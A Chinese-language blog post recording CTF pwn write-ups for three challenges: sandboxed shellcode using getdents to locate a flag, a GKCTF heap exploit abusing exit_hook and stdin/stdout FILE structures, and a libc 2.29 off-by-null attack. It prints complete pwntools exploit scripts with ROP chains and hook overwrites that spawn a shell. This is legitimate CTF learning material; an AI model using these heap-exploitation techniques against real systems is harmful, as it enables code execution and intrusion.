记录一下最近几天比较有趣的几个pwn题

  • 题目开启沙盒并且不知道flag路径时的处理方法(whuctf-shellcode)
  • 题目开启沙盒并且free_hook和malloc_hook都被禁用时的处理情况(GKCTF-pwn1)
  • libc2.29下的off by null(bjdctf-happyending)

whuctf-shellcode:

题目就是一个简单shellcode调用,难点在于不知道flag路径,需要自己寻
找,这里用到了一个函数sys_getdents

int getdents(unsigned int fd, struct linux_dirent *dirp,unsigned int count);

该函数是一个解析文件夹的函数,第一个参数时要解析的文件句柄,第二个参数是存放解析数据的位置,count是dirp的大小,通过这个我们就可以解析文件夹,但是解析数据的情况有点糟糕,但也不难辨认,需要注意的是当打开文件夹时open的第二个参数为0x10000,打开文件时的参数为0



可以看到有一个FFFFFFFlag的文件夹,我们进一步解析这个文件夹

解析成功,然后我们把open的第二个参数换成0,getdents改为read就好了

可以看到成功打印出flag,
第一部分的shellcode:

payload = shellcraft.open("./",0x10000)
payload += shellcraft.getdents("rax","rsp",0x300)
payload += shellcraft.write(1,"rsp",0x300)

第二部分shellcode:

payload = shellcraft.open("./FFFFFFFFFlag/flag",0)
payload += shellcraft.read("rax","rsp",0x300)
payload += shellcraft.write(1,"rsp",0x300)
小结:

当不知道flag路径时使用getdents函数

GKCTF-pwn1

这一题学到了很多东西,同时也巩固了很多知识,这题开启了沙盒,在比赛期间我的想法是打exit_hook函数因为我们可以控制两个位置,因此尝试触发setcontext函数来进行srop,但是不知道是什么原因导致了crash,利用失败,最后发现把第一个参数的位置填上"sh",调用system("sh")竟然也可以起shell,原因看了一下官方wp是因为将沙盒放在了最后导致了沙盒起不了太大的作用
下面附上我的exp和我根据官方wp写出的exp:
mine:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
#context.log_level = 'debug'

binary = 'domo'
elf = ELF('domo')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = "node3.buuoj.cn"
  port =  28855
  p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def choice(idx):
    sla("> ",str(idx))
def add(size,payload):
    choice(1)
    sla("size:\n",str(size))
    sa("content:\n",payload)
def show(idx):
    choice(3)
    sla("index:\n",str(idx))
def free(idx):
    choice(2)
    sla("index:\n",str(idx))
def edit(addr,num):
    choice(4)
    sla("addr:\n",str(addr))
    sla("num:\n",num)
add(0xf0,"aaaa")
add(0x68,"aaaa")
add(0xf0,"aaaa")
add(0x60,"aaaaa")
free(0)
free(1)
add(0x68,"a"*0x60+p64(0x100+0x70))
free(2)
add(0xe0,"\xa0")
show(1)
libc_base = l64()-0x3c4da0
lg("libc_base",libc_base)
setcontext = 0x47b75+libc_base
free_hook = libc.sym["__free_hook"]+libc_base
gets_addr = libc.sym["gets"]+libc_base
rtld = 0x83794c+libc_base
sys_addr = libc.sym["system"]+libc_base
free_hook1 = free_hook&0xfffffffffffff000
syscall = 0x00000000000bc375+libc_base
pop_rdi = 0x0000000000021102+libc_base
pop_rsi = 0x00000000000202e8+libc_base
pop_rdx = libc_base+0x0000000000001b92
pop_rax = libc_base+0x0000000000033544
exit_hook = 0x837f48+libc_base
exit_hook2 = exit_hook+8
addr1 = 0x611c90+libc_base
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
edit(str(exit_hook-8),p8(0x7f))
add(0x50,p64(0)+p64(0x71))
add(0x120,str(frame))
add(0x80,"aaaa")
free(5)
free(0)
add(0x60,"a"*0x40+p64(0)+p64(0x121)+p64(0)+p64(rtld-0x40))
add(0x110,"aaa")
free(0)
free(3)
add(0x60,p8(0x10))
show(0)
heap_addr = u64(p.recv(6).ljust(8,"\x00"))+0x1e0
lg("heap_addr",heap_addr)
add(0x60,"aaaa")
free(3)
free(2)
add(0x50,p64(0)+p64(0x71)+p64(libc_base+0x837919))
add(0x60,'a')
add(0x60,"\x00"*3+p64(0)*2+p32(0)+p32(1)+p32(0)+"sh")
free(2)
free(3)
add(0x50,p64(0)+p64(0x71)+p64(exit_hook-0x10))
add(0x60,p64(addr1)+p64(setcontext))
add(0x60,p64(addr1)+p64(sys_addr))
# gdb.attach(p)
p.interactive()

官方解exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
# context.log_level = 'debug'

binary = 'domo'
elf = ELF('domo')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = "node3.buuoj.cn"
  port =  27726
  p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def choice(idx):
    sla("> ",str(idx))
def add(size,payload):
    choice(1)
    sla("size:\n",str(size))
    sa("content:\n",payload)
def show(idx):
    choice(3)
    sla("index:\n",str(idx))
def free(idx):
    choice(2)
    sla("index:\n",str(idx))
def edit(addr,num):
    choice(4)
    sla("addr:\n",str(addr))
    sla("num:\n",num)

add(0xf0,"aaaa")
add(0x68,"aaaa")
add(0xf0,"aaaa")
add(0x60,"aaaa")
free(0)
free(1)
add(0x68,"a"*0x60+p64(0x70+0x100))
free(2)
add(0xe0,"\xa0")
show(1)
libc_base = l64()-0x3c4da0
lg("libc_base",libc_base)
stdout = libc.sym["_IO_2_1_stdout_"]+libc_base
stdin = libc.sym["_IO_2_1_stdin_"]+libc_base
iolist = 0x3c5520+libc_base
environ = libc.sym["environ"]+libc_base
jump = libc_base+libc.sym["_IO_file_jumps"]
malloc_hook = libc.sym["__malloc_hook"]+libc_base
free_hook = libc.sym["__malloc_hook"]+libc_base
wjumps = libc.sym["_IO_wfile_jumps"]+libc_base
one = o_g[0]+libc_base
poprdi = 0x0000000000021102+libc_base
poprsi = libc_base+0x00000000000202e8
poprdx = libc_base+0x0000000000001b92
openr = libc.sym["open"]+libc_base
read = libc.sym["read"]+libc_base
puts  = libc_base+libc.sym['write']
# poprax = libc_base+
add(0x50,p64(0)+p64(0x71))
free(2)
free(0)
add(0x50,p64(0)+p64(0x71)+p64(stdout-0x43))
add(0x60,'\xa0')
payload ="\x00"*3+p64(0)*5+p64(jump)+p64(0x00000000fbad2887)+p64(stdout+131)+p64(environ)
payload += p64(stdout+131)+p64(environ)+p64(environ+8)
add(0x68,payload)
stack_addr = l64()-0xf2
lg("stack_addr",stack_addr)
free(2)
free(3)
add(0x60,"\x10")
show(2)
heap_addr = u64(p.recv(6).ljust(8,"\x00"))
lg("heap_addr",heap_addr)
add(0x60,"flag")
free(3)
free(0)
edit(str(stdin-0x20),p8(0x7f))
add(0x50,"flag\x00\x00\x00\x00"+p64(0x71)+p64(stdin-0x28))
add(0x60,p64(0))
add(0x110,"flag")
payload = p64(0)+p64(wjumps)+p64(0)+p64(0x00000000fbad2288)+p64(0)*6+p64(stack_addr)+p64(stack_addr+0x1000)
add(0x60,payload)
payload = p64(poprdi)+p64(heap_addr)+p64(poprsi)+p64(0)+p64(openr)
payload += p64(poprdi)+p64(3)+p64(poprsi)+p64(heap_addr+0x20)+p64(poprdx)+p64(0x30)+p64(read)
payload += p64(poprdi)+p64(1)+p64(poprsi)+p64(heap_addr+0x20)+p64(poprdx)+p64(0x30)+p64(puts)
p.recv()
# gdb.attach(p)
p.sendline("5\n"+payload)
p.interactive()
小结:

开启沙盒时并且禁用了malloc_hook和free_hook尝试利用stdout和stdin来进行任意地址读(泄露栈地址,堆地址,libc地址都可),任意位置写(写程序的返回地址构造rop链)需要注意的是,虽然stdout也可以进行任意地址写但是不推荐这样做,因为有的时候这个值并不可控(修改部分)

_IO_write_base指向想要泄露的地方。
_IO_write_ptr指向泄露结束的地址。
_IO_read_end等于_IO_write_base以绕过限制。

可以简单的理解为_flags值不变,后面跟(原数据和要泄露的数据)*2,最后跟上结束位置

使用stdin进行任意地址写时:(修改部分)

设置_IO_read_end等于_IO_read_ptr。
设置_IO_buf_base为write_start,_IO_buf_end为write_end;且使得_IO_buf_end-_IO_buf_base大于fread要读的数据。

可以简单的理解_flags值不变,后面跟6个p64(0)然后后面两个写上要修改的地址和结束地址

libc2.29下的off by null:

这题一个字,爽,比赛期间调了很久,这题和海洋大学的略有不同,就是堆地址不白给,这就需要借助largebin残留的堆地址来进行伪造,大体思路摘自aidai师傅的博客:



这里简单说明一下
1.fakechunk和可控chunkX位置选择,我总结了一下,需要满足如下条件:

fakechunk必须是xxx000这种,并且是在一个新页
fakechunk 的fd覆盖倒数第二个字节指向可控的chunkX比如xxx00f0
chunkX利用off by null覆盖最后一个字节xxx0000

不会保证100%成功,当倒数第二个字节为"\x00"时才会成功,1/16的可能性

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
# from LibcSearcher import LibcSearcher
# context.log_level = 'debug'
binary = 'pwn111'
elf = ELF('pwn111')
libc = ELF("./libc.so.6")
context.binary = binary

DEBUG = 1
if DEBUG:
  p = process(binary)
else:
  host = "183.129.189.60"
  port =  10106
  p = remote(host,port)
o_g = [0xe237f,0xe2383,0xe2386,0x106ef8]
o_g1 = [0xe6b93,0xe6b96,0xe6b99,0x10afa9]
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def choice(idx):
    sla(">\n",str(idx))
def add(size,payload):
    choice(1)
    sla("Your blessing words length :\n",str(size))
    sa("Best wishes to them!\n",payload)
def show(idx):
    choice(3)
    sla("input the idx to show your blessing :\n",str(idx))
def free(idx):
    choice(2)
    sla("input the idx to clean the debuff :\n",str(idx))
def exp():
    for i in range(6):
        add(0x1000,"aaaa")
    for i in range(10):
        add(0x28,"aaaa")#6
    add(0xb60,"/bin/sh\x00")#16
    add(0x480,"aaaa")#17
    add(0xf8,"aaaa")#18
    free(17)
    add(0x500,"aaaa")#17
    add(0x28,p64(0)+p64(0x481)+p8(0x40))#19
    add(0x500,"aaaa")
    add(0x28,p64(0)+p64(0x21)+p64(0)+p8(0x10))
    add(0x28,"aaaa")#22
    for i in range(7):
        free(i+6)
    free(22)
    free(19)
    for i in range(9):
        add(0x28,p8(0x10))
    add(0x68,"aaa")#23
    add(0x388,"a"*0x380)#24
    for i in range(7):
        add(0xf8,"aaaa")
    for i in range(7):
        free(i+25)
    free(24)
    add(0x388,"a"*0x380+p64(0x480))
    free(18)
    add(0x70,"aaaa")
    show(23)
    libc_base = l64()-96-0x10-libc.sym["__malloc_hook"]
    sys_addr = libc_base+libc.sym["system"]
    free_hook = libc.sym["__free_hook"]+libc_base
    malloc_hook = libc_base+libc.sym["__malloc_hook"]
    one = o_g1[0]+libc_base
    lg("libc_base",libc_base)
    for i in range(11):
        add(0x68,"aaaa")
    for i in range(7):
        free(i+26)
    free(23)
    free(35)
    free(25)
    for i in range(7):
        add(0x68,"aaaa")
    add(0x68,p64(free_hook))
    add(0x68,p64(free_hook))
    add(0x68,p64(free_hook))
    add(0x68,p64(sys_addr))
    free(16)
    # gdb.attach(p)
    p.interactive()
    #ec6bd82ec7854173a6768b7cf9e316cc
while True:
    # p = remote(host,port)
    p = process(binary)
    try:
        exp()
    except:
        p.close()
小结:

libc2.29够味!

总结:

这几场比赛打下来总体感觉不错,学到了好多东西,同时也看到了好多自己存在的问题,没白打

你可能感兴趣的:(记录一下最近几天比较有趣的几个pwn题)